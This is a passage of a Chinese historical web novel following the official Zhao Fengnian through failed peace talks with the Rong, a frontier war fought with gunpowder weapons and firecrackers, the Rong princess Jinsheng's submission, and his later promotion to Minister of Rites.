苏家在江南确实有名,只是也只不过是在江南了,天子可是在京城,为了家族的兴盛,这样大家族的子弟生下来就有带领家族继续兴盛的责任,与其困在小地方慢慢升回京城,不如搏一把,站对了人,就是几代人的兴盛,何乐而不为。 赵丰年帮了他一把,几日后,苏景章就去了詹事府。 太子殿下还特意来赵家,找赵丰年问了一番苏景章。 “苏大人曾是江南才子,文采出众,在当时同期进士之中也是佼佼者,下官回京后,听闻他的罪了五皇子,因而一直在翰林院,倘若殿下问其他的,下官只能说,他的考核并无问题。” “赵师弟还是这般滴水不漏,孤不过是跟你打听一下此人为人罢了,不过,既然你都说他文采出众了,那确实是个人才。” 赵丰年对太子殿下这种自来熟有些不适应,要不怎么说这皇家人全是心眼呢,他表面没有刻意拉拢自己,却三天两头往自己府上跑,为的又是稀松平常的小事,听起来没什么,可是这一来二去,可不就是要打上他太子殿下的名号了。 好在太子殿下只是厚脸皮,行事作风并不让人生厌,否则赵丰年还真想考虑考虑怎么脱身了。 十月下旬,天元帝在本来已经确认好议和团里,添上了赵丰年的名字,叫朝野侧目。 这让众人再次将目光转向了赵丰年。 “议和本应该是兵部孙昭的事,父皇骤然让你去,应该是因为你从北地回来,对那边多有了解。” “是,下官也这么想。” 太子复杂地看着赵丰年,“你当真是容易卷入这种事,这回回来,去护国寺烧个香罢,听闻还是比较灵验的。” 赵丰年失笑。 而当天晚上,脸色黑成一片的顾子升就送来了护国寺佛珠。 “怎么你也信护国寺?”赵丰年哭笑不得地收下那串据说开过光的佛珠。 “还有谁?”顾子升疑惑。 “太子殿下,说我运气不好,让去护国寺烧个香。” 顾子升闻言特别认真地点了头,“确实,我是面黑,而你是真的脸黑!你看看我,虽然是蒙祖荫当的官,但是碰到了你,结果我一路高升,如今都是信不侍郎了,虽然这辈子可能就一个侍郎做到头了,但是这个在蒙荫里头都算头一份了!而你呢,三天两头的遇到这种操心事,什么坏的都赶上了,太子殿下说的没错,你是该去拜拜了。” “我听闻,有些人本来运气很好,有些人运气很差,但是那个运道差的会吸收运道好的那人,好的那人运气就变差了。” 顾子升愣住了,“莫不是,是我吸了你的好远?” 赵丰年微笑。 顾子升难以承受。 议和的使团,月底就要出发,赵丰年简单地收拾过后,将该寄的信寄出,跟家里人道了别,就带着大胖,离开京城了。 第83章 第83章和谈 孙昭是个挺圆润的小老头,瞧上去不像是兵部尚书。 临行前,顾子升让自己小心孙昭,说这老头偏向五皇子,怕会对他不利。 孙昭看好五皇子赵丰年相信,但是要说孙昭对自己不利,赵丰年并不觉得,因为这老头跟自己一样,都是坚定的主战派,一路上,只要说到此次北疆和谈一事,小老头都皱着眉头叹息。 赶在过年前,赵丰年一行人到了镇北军营地。 只见一个魁梧的将军走了出来跟他们打招呼。 正是彭昌。 赵丰年虽然已经跟彭昌通信多回了,却还是头一回见到他本人,于是便对他笑了笑。 彭昌很高兴。 “赵大人,想不到你我竟是在这里见着了,此前我一直听老曹说赵大人如何年轻俊朗,今日一见,果然是英雄出少年!这回要不是柳大尺带着弩弓队奔行前去,怕是那村庄的人都要被那戎贼屠杀殆尽,赵大人的弩箭当真是好用!只是可惜,陛下要和谈,不然,老子真想直接打上去!” 众人都心中难平。 晚上,彭昌详细说了如今边疆的情形。 “我们递了话要和谈,他们便没再三天两头冒出来了,从前些日子抓到了的俘虏口中,我们得知戎族如今自家也不安稳,那塔揭子去年没了,他两个儿子一个女儿,本来两个儿子争夺王位争得厉害,没空搭理我们这边,去年戎族老王的大儿子塔坚杀了弟弟,成功上位,为了争取更多人的支持,就带着人闯入关来了,也是我们的人把守不严,被他们绕过了那片山崖,幸亏柳千户察觉到不对劲,带着人马剿灭了那队戎贼,否则那村庄就要被屠杀殆尽了。” 彭昌一遍说,一边咬牙切齿。 兵部尚书孙昭愤恨却无奈点点头,“和谈一切事宜朝廷都已经商量好了,为了避免夜长梦多,明日就请彭将军送了议和书去吧。” 赵丰年却问了一个问题,“照照理说,塔坚杀了竞争对手,应该地位稳固了,为何还要争取更多人支持?是因为戎族其他部族不满新王,还是说有其他潜在王位竞争者?” “这事我也觉得蹊跷,只是那俘虏说完就死了,也没法知道更多了。” 赵丰年没说话了。 第二天一早,赵丰年在营帐外看见了柳大尺。 “大尺哥,外面冷,怎么不进来?” 柳大尺笑着进了营帐。 “怕你还睡着。” 赵丰年打量了他一番,便笑了,“看来这军营确实锻炼人,如今大尺哥看上去可是又了威武的将军那架势了。” “我如今已经是千户了 ,这一年来,我跟彭将军学了不少东西,曹校尉也对我颇为照顾。” “好,真是好,想必舅母舅父他们知道了,也一定会为你感到高兴的。” 柳大尺笑了,又正色问,“阿年,我们真的不能跟他们打仗吗?我不怕打仗!” 赵丰年叹了口气,“大尺哥,圣上想要和谈。” 柳大尺失望不已。 两边和谈的地方是关外几十里的一个凉亭,戎人那边来的据说是新王的叔叔。 谈判也进行得很顺利,不过扯皮了三日就谈好了。 “那帮孙子当然乐意了,奶奶的,又给银子又粮的,只用签个协议不再进犯,换做是我,我也乐意!”彭昌喝着酒,嘴里不干不净。 孙昭脸色也不好看,到底没说什么,只跟赵丰年提了回京之事。 照理来说,和谈完成,议和团的使命也就结束了,但是赵丰年心中却隐约不安,总觉得戎人没那没简单放弃。 晚上,赵丰年叫来了柳大尺,说完自己的顾虑,叫他帮忙派人留意着孙昭那边。 “阿年,你是说,使团里有内鬼?”大胖发出疑问。 赵丰年摇头,“不至于是内鬼,但是五皇子定然安插了人手,我总觉得,这场和谈顺利得过了头了,戎人那边也十分好说话,不太像他们一贯的作风。” “我明白了,我会让人盯着的。” 只是,他们这里刚商量完,就听到外面传来了动静—— “有敌袭——有敌袭——” 无论是大胖还是柳大尺,都在第一时间挡在了赵丰年面前。 赵丰年眉头紧锁,“出去看看!” 外面火光一片,赵丰年被大胖跟柳大尺护着找到了脸黑如水、双眼通红的彭将军。 “他奶奶的!镇北军里混入了戎人,他们烧了我们粮草!” 赵丰年也是心中一沉。 “怎么了?怎么了?”这是闻声赶来的孙昭。 彭昌却在看见孙昭的第一时间拔出了刀,“孙昭,你说,是不是你的人干的!” 孙昭得知粮草被烧,正震惊中,猛然听到这话,眼看着刀架在了自己脖子上,顿时也怒了。 “你个彭狗子!这么多年了,你就不能长个脑子!我烧你粮草做什么,取暖吗?!” 这时,火被扑灭了,彭昌也冷静了下来。 “大人,抓到了两个活口,确实是戎人。”曹校尉一脸沉痛。 “好好好,我倒要看看,这地方是不是成了戎人的老窝了!带上来!我亲自审问!” 赵丰年跟着一起去了主帐。 没过多久,曹校尉就带上来了两个戎人。 “说,是谁派你们来的!” “呸——#%……&&**!” 那两人刚说完,轻蔑一笑,只见嘴角就流出了黑色的血。 “是毒囊,救不活了。”曹校尉上前查看完,紧皱眉头。 “金圣王,是谁?”赵丰年开口问道。 他这话一出,营帐内的几人纷纷看向了他。 “怎么了?” “什么金圣王?”孙昭疑惑。 赵丰年瞧了眼底下两个服毒而死的戎人,“他们说,金圣王万岁,绝不认输。” “赵大人,你能听懂戎语?”彭将军惊讶。 “只是略知一二,所以,彭将军可认识他们口中所说的金圣王?” “老戎王有二子一女,那女儿就叫金圣,此前,我们的探子说,戎人新王塔坚杀死弟弟后,金圣公主就不见踪影了,怪不得塔坚要笼络人心了,看来是金圣公主自立为王了。” “那金圣公主势力很大?” 彭将军点头,“据说,金圣公主骁勇善战,备受瞩目,也是老戎王最喜爱的孩子,传言老戎王曾经动过念头要把王位传给女儿,上回我们的人搜山的时候,这个金圣公主的人让我们吃了不少苦头。” 听起来确实是个硬茬。 如今真相也很分明了,就是这金圣公主想要破坏和谈。 赵丰年笑了,这不巧了嘛,他也不想和谈。 见他竟然还有心思笑,彭昌有些苦闷,“赵大人,如今我营中粮草被烧毁大半,这个冬天将士们就过不好了,你竟还笑得出来。” “我笑是因为,这戎人也不是拧成了一股绳,至于其它嘛,孙大人,看来,你我可向京城送信了说明情况了,并非你我不愿和谈,现在是戎人主动破坏和谈啊。” 孙昭本来还懵着,听完这话,一双小眼睛顿时就亮了起来。 “是极是极!戎人狼子野心,骗取和谈金、粮食不说,竟转手撕毁合约,烧我粮草,伤我士卒,实在可恨,我这就修书一封,八百里加急送往京城!定要让陛下发兵!” 赵丰年满意点头,这才又看向彭将军,“至于粮草,彭将军只管放心,北地有粮,我这就去信一封,让齐大人接济一番。” 彭将军也反应过来,“是啊,我这里正愁没机会报仇呢!” 而京城这边,看到北疆八百里加急送来的消息——戎族和谈后转手撕毁和约,突袭镇北军军营,烧毁粮草。 整个朝堂都坐不住了。 “我就说戎人野蛮不开化,跟这种野蛮人,直接打就完事了!” “无耻至极,我等可怜他们物资匮乏,又不忍百姓受苦才屈尊降贵同他们和谈,他们竟不知感恩,反倒突袭我军营,实在无耻可恨!陛下,此等贼子,不打不行啊!” “只是不知,这其中可有误会。” “什么误会直接火烧我军粮草!分明就是那戎贼不安好心,假意同意和谈,趁我军放松警惕,进而突袭!这等无信用道德之族,实在是讲不通道理,也没必要同他们交好!还请陛下准许派兵攻打戎贼!” “请陛下派兵!” “请陛下派兵!” 天元帝也气愤不已,认定戎人不将自己放在眼里,帝王威严不容侵犯,当即就准了。 五皇子当即请命前往,正当天元帝思索之时,太子党一看,立马就打断了。 “回禀陛下,五殿下千金之躯,怎好去那苦寒之地,北疆不似此前西北,又有彭昌坐镇,如何用得着殿下前去,再说,戎族之所以难以攻克,皆因他们善骑射,不好围剿,镇北军足以威慑,即便支援,只需调动青州宁州两州的驻军,这样一来,也能将我军损失降至最小。” “话虽如此,可监军人选,也是重之又重的,五殿下曾于西北大营历练,又亲自剿灭山贼,是再好不过的人选。” “剿灭山贼跟打仗是两码事。” 眼看着底下吵起来,天元帝头痛不已,这时候,却有人提了一嘴。 “吏部赵侍郎不是正在北疆嘛?既然如此,陛下何不任他为监军?” “赵侍郎并非都察院之人,担任监军怕是不妥吧?” “赵侍郎对北境熟悉,并无不可。” “好了。” 天元帝一开口,底下瞬间安静了。 “便任赵丰年为监军,另让青州驻军随时准备支援彭昌。” “陛下圣明——” 下了朝后,五皇子脸色漆黑,看见太子笑着走过来,面色越发难看。 “太子殿下好算计,先把赵丰年加进了和谈使团名单,将人送去了北地,就是想到了今日吧?” 太子殿下一副惊讶模样,“五弟这话来的蹊跷,孤怎能料到戎人会撕毁和约?五弟说这话,莫不是早已预料到戎人会在和谈后撕破脸皮?再说,赵侍郎去和谈一事,可是父皇下的旨意,五弟有何不满,大可去问父皇。” 五皇子冷笑,“臣弟岂敢。” 见他挥袖离去,太子殿下笑得很愉悦。 “你看,这就叫螳螂捕蝉,黄雀在后了。” 顾子升无语,“您高明,可怜阿年还被瞒在鼓里,好好的上了前线。” “你当赵丰年是你,恐怕他一早就猜到了。” 顾子升惊讶,不过随即就想明白了。 “啧啧,你们这些人真的是,长满了心眼子。” 而远在北门关的赵丰年,收到了监军的任命函后,也反应了过来。 “看来,五皇子确实不是太子殿下的对手。”赵丰年摇摇头,接受了这场博弈的结果。 下午,赵丰年就去见了彭昌,跟孙昭一起听作战计划。 听完彭昌的计划,赵丰年不得不钦佩,在己方骑兵不利的情况下,彭昌能想出“以步制骑”,已经很难得了,镇北军人数多,步兵多长矛,加上赵丰年后来改良的弓弩,确实能很好地抗衡戎族的骑兵。 只是,这种法子需要用大量的人命堆出来。 到底,还是用上了。 当晚,赵丰年就派大胖去了北定府。 而再次期间,他一直将自己关在营帐。 彭昌得知消息十分不解,“莫不是赵大人不忍心看到生灵涂炭?” 说着这话的时候,彭昌都有些 动了怒了。 柳大尺连忙解释,“将军误会了,赵大人是在设计战术武器。” “什么战术武器?”孙昭忍不住好奇。 “这个我就不知道了,但是我知道,赵大人绝不是那种伤春悲秋之人,大人嘴是能体会我朝百姓不易,即便是同情戎人无辜百姓,也一定会从大局出发,只会以最好最快的方式结束战争,从而将战争带给百姓的影响降到最低。” 柳大尺刚说完,就见众人直勾勾地看着自己,忍不住挠挠头。 “怎、怎么了?” 孙昭第一个开口,难掩欣赏,“想不到,你区区一千户,竟有如此大局之观,彭将军这镇北军中当真是藏龙卧虎。” 柳大尺笑了笑,“这都是以前在北定府,大人谈到戎人,经常对我们说的话,听得多了,咱们也就记下了。” 彭昌想了想也点头,“赵大人确实是那样的人,是我误会了。” 孙昭听柳大尺口吻似乎同赵丰年十分熟稔,便多问了一句,彭昌这才笑道,“你这就有所不知了,柳千户原本是北定府捕头兼民兵统领,赵大人为我镇北军提供了戎人潜入的重要消息,让柳千户前来带路帮忙,我见他力气大,武艺高强,在围剿戎人行动中更是功不可没,索性跟赵大人讨要了人,来我军营中做个百户,前些日子,他杀了戎人一个小队,保住了那处的村民,又立了大功,这才升到了千户!如今柳千户可是我营中的人才!” “原来如此。” 孙昭听完,不禁对赵丰年也满意了几分。 几日后,北定府的人抵达了北门关。 北门关城墙上的卫兵远远就看见了车队,又见领队长相神似戎人,当即就将人拦了下来。 第84章 第84章戎族 得知人被扣下的消息,赵丰年当即出了营帐去见彭将军。 “原来如此,想必是他们见到了那拓大人的长相误会了,我这就传信回去让他们直接放人,并将北定府的人马都带来营地。” “有劳。” 拓九远远看到赵丰年,激动不已。 “赵大人!” 赵丰年笑着迎了上去。 “拓九,别来无恙。” “无恙无恙,大家都无恙,去年大人成亲那会儿,我本来也想去京城向大人祝贺的,可又怕我这长相被人误会,反而连累了大人,谁知道,今天来这里,果然被误会了!还是大人好,第一次见面对我们都一视同仁。” 彭昌刚过来,听到这番话就想,这人也忒不会说话了!还指桑骂槐呢!要不是看在他们送来了不少粮草的份上,他都想转身就走了。 “大人,我也来了!” “大人,一向可好?” 赵丰年看过去,竟是夏儒跟陆师傅,还有几个北定府工房的人。 “夏儒,陆师傅,辛苦你们大家跑一趟了,说实话,本来我这心里还有些许担忧,如今见到你们,我这心里可就安心多了。” 夏儒跟陆师傅等人感动不已,而拓九就十分不满了,“大人,你这是什么意思?前面看到我的时候可不是这么说的!” 几人笑了笑,短暂地驱走了战争的阴影。 赵监军又把自己关在营帐了,这回还有他从北定府喊来的一干人等。 彭将军早就在部署组织先锋队了,这回,他要先打戎人一个措手不及。 赵丰年只叫组织可以,但是叫阵先不急,彭将军知道他在谋划什么,却又不好打扰,几天下来,心急如焚,最后是孙昭看不下去了,正要去见赵丰年,却听说赵丰年请他们一起出营地演练。 “演练啥?他的战术?” “赵大人只说请将军跟孙大人过去,并未交代。” 两人你看看我,我看看你,一起过去了。 然后跟着一起出了大营,再然后看见了那个瘦瘦弱弱跟个书生似的青年掀开了车上的帘子,露出了一些他们看不懂的东西。 “自从大人你走后,我们听大人关了火药的生产线,但是上回接到了大人的信,我就按照大人的指示偷偷带着人实验呢,没想到,齐大人知道了这事,一听是大人的意思,连忙让我们不必顾虑,而且,还让我发现了威力更大的材料配比,如今,咱们的火药已经可以一次性炸毁半座山头了。” 说完,夏儒就将手中的火药包交给了拓九,拓九骑着马带去了五百米左右的位置,直接在马上点燃引线,立马返程。 “大家留意,捂住耳朵!”夏儒喊了一声。 北定府的人乖乖照做,而彭将军等人不明所以,正要捂住耳朵,却听到“砰——”的一声。 整个人险些没站稳,望着那头炸开的大坑,愣住了。 孙昭身体更是直接坐在了地上,甚至由于圆润的身体一不留神没坐稳,转了半圈。 其他人镇北军的人都惊呆了。 “这,这是什么?” “是,是老天爷发怒了吗?!” 彭昌惊得没说话,夏儒在赵丰年的示意下,继续进行下一项目。 “这是按照大人要求做的火药箭,可一次性发射三根箭矢,发射之时,只需要点燃后面的引线,陆师傅按照大人的要求,改进了弓箭的结构,射程比寻常弓箭要远五十步。” 拓九继续搭弓射箭,夏儒帮忙点燃了引线,而后,拓九放出箭矢,只见那箭矢带着流火般的尾巴,在约莫一百五十步开外的一个山坡炸开来,留下了几个大坑。 众人再次瞪大了眼睛。 而赵丰年点点头,“复合弓还有改进的空间,倘若能找到替换的带弹力的绳索,应该能将射程再提高五十步。” 陆师傅连忙上前请教,“敢问大人,这带弹力的绳索从何处可寻来?” “我听闻极南之地,有一种叫做橡胶的树,此树留下的汁液,经过加工可做成这种绳索。” 陆师傅点点头。 孙昭麻木地看着这一幕,却见那高瘦的青年又叫人送上来了一大串的东西。 “这应该就是大人想要的鞭炮了,拓大人,麻烦了。” 拓九轻车熟路接过来,点火,然后在众人惊恐的目光里,用力地抛了出去,众人正打算捂住耳朵,却见那串东西噼里啪啦响了起来,虽然有动静,却不像先前两种那般大的威力。 彭将军看到这个眼睛了放光了。 “这个,叫做鞭炮?” 赵丰年见他盯着鞭炮剩下的外壳不错眼,就知道彭将军明白了这东西的妙用了。 “原是过年用作热闹的玩意,不过,这东西,能惊马。” “能惊马,能惊马好啊!”彭将军喜不自胜,转头看向赵丰年。 “赵大人,有此神器,我必将戎地拿下!届时,你为上功!” 孙昭一脸复杂地看着这一幕。 在赵丰年的建议下,彭将军采取了游击队的方式,突袭戎兵,满足了彭将军想要“打他个措手不及”的愿望,而随着一股戎人骑兵被剿灭,戎人那边迅速反应过来,大夏朝跟戎地的战役正式打响了。 戎地,王帐,新王塔坚正在大发雷霆。 “我们刚签订了和约,那些大夏人为何要袭击我们的部落?!莫非是他们要反悔!” “大王,为今之计,只能跟大夏人打了!” “岂有此理! ” 塔坚以及其他的戎人只当大夏是反悔了想来攻打他们,却并不害怕,毕竟他们的骑兵对上大夏的士兵,鲜有失利的时候,只是,他们这回算是踢到铁板了。 “那鞭炮一扔过去,噼里啪啦,直把那些戎贼吓懵了,那马受惊胡乱窜,光是踩死的戎贼都数不清了,趁他们动不了,再用上火箭弓,一个骑兵小队就被灭了,都用不上火药炸包了!” 赵丰年听着将士们开心的声音,就知道前线战事进行得很顺利,众人都十分满意。 而戎人这边,已经焦头烂额了。 “大夏朝那是什么东西?破坏力那般强,不是说咱们戎人才是天神的子民吗?为何天神不眷顾我们,反而是那些大夏人,占据了富饶的土地,又拥有了这样的神兵利器,我们还能赢吗?” 戎人王帐士气低落,各种声音不断,塔坚杀了一个又一个动摇军心的,气急败坏之下,竟听闻妹妹金圣派了使者去见大夏的将军,顿时各种阴谋论都想出来了。 大夏这边,听闻金圣王派了使者要见大夏这场战事的统领,众人下意识将目光看向了赵丰年。 “赵大人,你看?” “彭将军,你才是将军,自行做主便是。” 话是如此,只是,众人早就将赵丰年当作军师般的人物,彭将军想了想,“既是使者,不如召见听听怎么说吧。” 那人上来后,操着一口不太顺畅的话中原话,意思是,金圣愿意臣服大夏,但是希望大夏只认她是戎族唯一的王,倘若大夏答应,她可以带着她的人马,一起捣毁戎人王庭。 兹事体大,必须要告知了朝廷,朝廷同意后,他们才能进一步行动,是以,告诉了那人后,便将此事八百里加急送往京城了。 而京城,自从一道道的捷报传来之后,满朝文武都对这场战役没有任何悬念,如今听闻戎人愿臣服,主和的一派立马就劝天元帝答应下来。 “如此一来,也避免继续劳民伤财。” “可我军如今形式大好,完全可以一举踏破戎人王庭,又何需那戎人王女协助?这里面万一是敌人的缓兵之计,届时功亏一篑,岂不可惜?戎人野蛮,不知礼节,迟早叛变,不如悉数剿灭,也免我边疆不稳。” “赵大人毕竟是文人,又过于年轻,还是太过天真仁慈,说什么要同化戎人,实在是不可取。” 双方争执不休,太子却站了出来。 “各位,此战我军能赢不假,倘若能用极小的代价赢下来对我朝只有好处没有坏出,至于担心戎人再生反叛之心,诸位以为,打赢了就足以吗?就能安康无事吗?且看多年前的北地,北定府,被戎人赢去后,戎人可是就太平无事了?据我所知,戎人此后频频武力镇压,跟北地大夏百姓水火不容,七年前,北地百姓里应外合,助我大夏士兵打走戎人,焉知戎地被强行打下后,不会是下一个北地?” 众人沉默。 “诸位可曾看过赵侍郎这回送回来的折子?这帖子倒叫我想起了赵侍郎此前在赴任北定府知府之前所言,想要让百姓认可自己的身份,就要同化他们,倘若戎地果真能臣服我大夏,按照赵侍郎的意思,鼓励大夏百姓迁徙戎地定居,让两地百姓通婚,建立学堂,学习大夏文字书籍,一代人认定自己是戎人,两代人,三代、四代人,他们住着跟大夏百姓同样的屋子,吃着同样的食物,说着同样的话,还会认为自己是戎人吗?” “太子殿下所言极是,陛下,想我泱泱大国,自然该有大国的气概,今日我们拒绝戎地的投降示好,未来其他边境小国未免不会心生胆怯,便是想要投降的,都会心有顾虑,从而反抗到底。” 说这话的是国子监祭酒,周立民。 而北境这边,众人接到朝廷的旨意,接受金圣王的投降与交易。 两天后,金圣王带着人来到了镇北军大营。 “我可以带领我的部属臣服大夏,帮助你们踏平塔坚的王帐,但是你们得让我见见那位北地的知府。” 出乎所有人意料,金圣王竟然会说中原话,只是她想要见齐晟更加让人疑惑。 赵丰年跟拓九对视一眼,拓九走上前。 “你要见我们齐大人?你认识他?” 金圣王看了眼拓九,“你有戎人的血脉,却在大夏的官员行列里,你是谁?” “我是北地牧县县令,你要见的齐大人是我的长官。” “那你很幸运,我不认识你的齐大人,但是我听说过他,他是一位能化腐朽为神奇的人,能让天河水流向沙漠,能叫贫瘠的土壤长出粮食,羊群快乐地吃草,干枯的古树挂满果实。” 这番很有戎人调调的话一说完,众人当即就愣住了。 “你确定,要找的是齐知府?”拓九再次疑惑。 赵丰年也面露微妙。 彭昌也乐呵呵地瞧向了赵丰年。 “自然是齐知府,我问过了,说的就是你们北地的知府,是个不小的官。” “你要见我们大人做什么?” 说到这里,金圣王双目放光,“自然是请他指点迷津,教我如何让部族的人过上好日子!” “哦,那你找错人了,做下这些事,带我们北地人过上好日子的,可不是如今的齐大人,虽然齐大人也不错。”拓九一脸骄傲,“你很有眼光!” 眼看着话题跑遍,赵丰年咳嗽了一声,拓九笑眯眯地回到了自己的位置。 “金圣王,你想要子民过上好日子,大夏也想要戎人过上好日子,这样大家的日子都好,也不至于纷争不断,在这一点上,我们的目标一致,所以你放心,大夏朝绝对不会不管戎人百姓。” “好个俊秀的小哥,你瞧着如此年轻,能做主?” 孙昭也回过神来了,见状笑了笑,“赵大人乃此番和谈主官之一,自然能做主。” 赵丰年无奈笑了。 金圣王答应了。 而接下来,就是彭将军跟金圣王的事了。 半月后,镇北军大获全胜,直接活捉了塔坚。 塔坚被俘虏的时候还骂骂咧咧。 “金圣,你好歹是我戎族的王族,竟然伙勾结大夏人,你无耻!” 金圣也不惯着他。 “呸,你只知道吃喝享乐,让儿郎们烧杀抢掠,让你当王,子民们照样生活水深火热之中!阿爸生病之前就说过,跟大夏打架迟早打不过,要带领族人回大草原深处去定居,放牧为生,你却违背他的意思,再次跟大夏打架!” “那你呢,你投降,你就是叛徒!” “我比你们聪明,我要让大夏人帮我们也过上好日子!” 赵丰年听了全程,只觉得这位金圣王倒是十分聪明。 许是留意到他的目光,金圣王转头对上了他的视线。 “大夏的官,别这样盯着我,我不喜欢你这样搜弱的小男人,我喜欢他这样的。” 刚好来找赵丰年,却被指住的拓九,一脸惊恐。 “我可不喜欢你这样的!我有喜欢的人了!再说,你个话都说不明白,是‘瘦弱’,不是‘’搜弱‘!” “手热?” “瘦弱!” 赵丰年失笑,这金圣王还真是跟拓九有点像。 第85章 第85章风雨欲来 “你就是北地的那位知府?” 这天下午,金圣跑到了赵丰年面前,问了这句话。 赵丰年想了想,“如果你说的是种田养羊的知府,那我确实是那位知府。” 只见金圣双眼奇亮无比,“竟然就是你,你能跟着我去戎地吗?我不叫你当知府,这样,你当国师!” “首先,如今戎地已经归属于大夏了,按照大夏的称法,是为北戎府,而你作为外姓王,虽然也叫金圣王,却只有王府,而非王国,王府自然不需要国师,其次,戎族原来信奉国师这一套吗?” 赵丰年在纸上记 了下来。 金圣不明所以看向了大胖,大胖见怪不怪,“大人在记录戎地的事,好方便对症下药治理。” “可是,我们没病,不需要下药治。” “所谓对症,说的是针对你们戎地的情况来发展,每个地方都有每个地方的特色,要因地制宜,北地适合的,北戎府未必合适,我瞧了你们的情况,无非是草原多,耕种地方少,粮食不足。” 金圣连连点头。 “所以,你们要放大自身的优势,放牧,就是你们的优势。” “可是,养羊养牛养不活子民。”金圣有些失望。 “那就养到极致,打出自己的名头,让全大夏都知道,北戎府的牛羊是整个大夏最鲜美、品质最好的牛羊肉,你们可以参考北定府,牧牛放羊,做副食品加工,牛肉干就是个好东西,还有羊毛,纺织羊毛布,可以去北定府走走,跟那边的纺织厂合作,互通有无。” 金圣双眼放光。 “果然,北地知府就是厉害!果然,我听你的直接不做附属国才是对的!” 对于谈判时候,赵丰年说做附属国是戎地纳贡,大夏接受臣服,而归到大夏版图就能享受大夏一样的待遇,起初听到的众人都是震惊的,而更令人震惊的是,这位金圣王信以为真答应了。 “因为她是个聪明人,知道哪一种方式对子民更好。” 赵丰年从来不怀疑金圣对子民的关心。 也许,这就是为什么她有信心带着整个戎族反抗她的兄长吧,因为她有民心啊。 这里事了,赵丰年一行人也准备回京城了。 而赵青青赶在他离开之前来了北定府,一来是为了见赵丰年,二来是为了帮扶北戎建设考察的,王文陪着她一起,见到赵丰年,笑得眉眼弯弯。 “大人,许久没见了,您在京城还好吧?” 赵丰年也笑了,“王文,竟是你来了,我一些都好,你们大家可还好?” “托大人的府,都好都好!我如今当了知事了,听说青姑娘要来北戎,大人也在,大家伙都想来见见大人呢,还是我抽签这才得了这个机会!” 赵丰年哭笑不得。 彭昌在一旁忍不住跟孙昭感慨,“赵大人为人为官可真没话说,手底下的人都是又能干又重情义,可见赵大人本事大着呢!” 孙昭不说话,却点了点头。 “阿年,婶娘他们一切都好吧?” “好着呢,我出发前他们还跟我说问你今年回不回家过年,你要是方便,这回跟我一起走倒是正好了。” “什么,你要走?!”拓九一个箭步走了过来,看着赵青青一脸紧张。 赵青青微笑,“只是想想,还没决定呢。” 拓九转头,看着赵丰年的眼里充满怨念,“大人,我是听你的话留在军营帮忙的,你怎么拐走青姑娘呢,你这是,是,挖墙脚啊!” 赵丰年笑着看向赵青青,“他如今还在跟着王师爷读书?” “我也觉得他适合先去学堂读。” 拓九更委屈了。 赵青青见状,问到:“听说,那位金圣王爷不但样貌美丽,更是英姿煞爽,还曾扬言,就喜欢你这种的?” 拓九顿时不敢委屈了,连忙解释,“绝对没有这种事!是她自己说的,我可不喜欢她那种的,我就喜欢你这种的!” “哦?是吗?” “当然啦!我可以对天发誓!不不不,我不在这里等什么旨意了,我直接跟你回去!” 赵丰年笑着摇摇头,直到他离开,还听到拓九在哪里疯狂解释。 刚入秋,赵丰年一行人准备回京了。 “阿年这回算是立了大功了,不知道圣上会赏他什么,不过啊,无论是什么,总归都是好的,就是你祖母知道了,也一定会很开心的。”傅家,傅老妇夫人拉着女儿的手感慨。 傅轻雪点头。 半月前京城秋老虎,傅老夫人贪凉多用了些冰,便病倒了,这一病,竟是到了如今还没好全,傅轻雪也是三天两头回家探望,昨日赵丰年刚回到府上,就被喊进了宫,今日一早就去上了朝,傅轻雪想着,索性又回家来了。 “你今日早些回去,阿年都回来了,这些日子就好生陪陪他,你那生意,也歇一歇。” “我省得的,娘你放心吧,阿年不会生气的,他说了,不希望我成为一个只围着他打转的人,他乐意我做点自己喜欢的。” “你呀,也是阿年心疼人。” 这时,林管事一脸喜气洋洋过来了。 “恭喜夫人,恭喜姑娘,姑爷今日朝廷上被陛下夸赞,如今已经是礼部尚书,兼内阁学士了!” 傅夫人又惊又喜,“这可真是大喜事!” 傅轻雪也替赵丰年感到高兴,又觉得,这也是他该得的。 “阿年这官升的快,要不是他这些功劳都是实打实的,怕是朝中有人非议了。”傅大人回到家中也不禁不感慨。 而赵家这边,赵家人不知道这官职究竟有多大,只知道儿子又升官了,那就是值得好好庆祝的喜事。 赵丰年上任礼部尚书的第一天,就接到了要主持开春后会试一事。 虽说这些事都有流程,但是赵丰年还是请教了前任礼部尚书,如今的户部尚书。 现任户部尚书看着赵丰年,心情复杂,却还是细细同他讲了注意事项,“大致就是如此,不过,你也不必担心,谢、孟两位侍郎都是经手过的,也都是周全之人,赵大人有何吩咐,只管吩咐他们去处理便是。” 一想到要不是傅家那儿子,眼前如此优秀的后生就是他的女婿,户部尚书就十分心痛,不过,倘若他真成了自家女婿,那他自己这个吏部尚书怕是还要给他让位,做不成了,就像傅玉书,怕是赵丰年一日在尚书位置上,他这个老丈人就别想当尚书了,这样一想,吏部尚书顿时觉得心里好受多了。 赵丰年从户部正要离开的时候,却见到了一个熟人。 “张大人?” 正是起初临县的县令张谦。 “赵大人!哎呀,赵大人这是刚从户部出来?可是事情办妥了?” 赵丰年笑,“我来找王尚书请教会试事宜,正准备回礼部了。” “还没恭喜赵大人又升官呢!”张谦笑眯眯。 看得出来,张谦在户部如鱼得水,他是个会钻研的人,但是也是个认得清自己的人,知道自己没什么后台,索性安安心心做好自己的事,当好这个户部侍郎,即便自己如今升了官,张谦只是诚心恭喜,不见丝毫攀炎附会之迹,只逢年过节奉上一份不出挑的节礼,赵丰年也不禁感叹他会做人了。 因为要主持会试,赵丰年理所当然准备避嫌了,赵府也不再接待来客。 直到天元帝的万寿节,顾子升看到赵丰年,忍不住发牢骚。 “赵大人如今可真是大忙人,轻易见不着人了。” “那顾大人如今可是学会挖苦人了,再不见起初临县那位一腔赤诚的父母官了。” 顾子升便笑了,“你说你,做个主考官,未必要避嫌成这样,你内阁的活还不要做了?” “不过递个折子的事,几位老大人都是大度之人。” 不多时,瞧见两人的傅时瑾也走了过来,“顾大人,阿年,你们聊什么呢?” 顾子升回了个礼,“再说我们赵大人如今贵人事多呢。” 傅时瑾看了眼另一边朝这边看的几位官员,笑了笑,“说来,这些日子里,朝廷上下都说,阿年这官运亨通,连带着手下身边的人都高升,想方设法要去你府上拜会呢,只是你因为会试闭不见客,竟有不少人找到了傅家来。” 赵丰年笑了,“都是陛下赏识,皇恩浩荡,这些传言实在是言过其实了。” 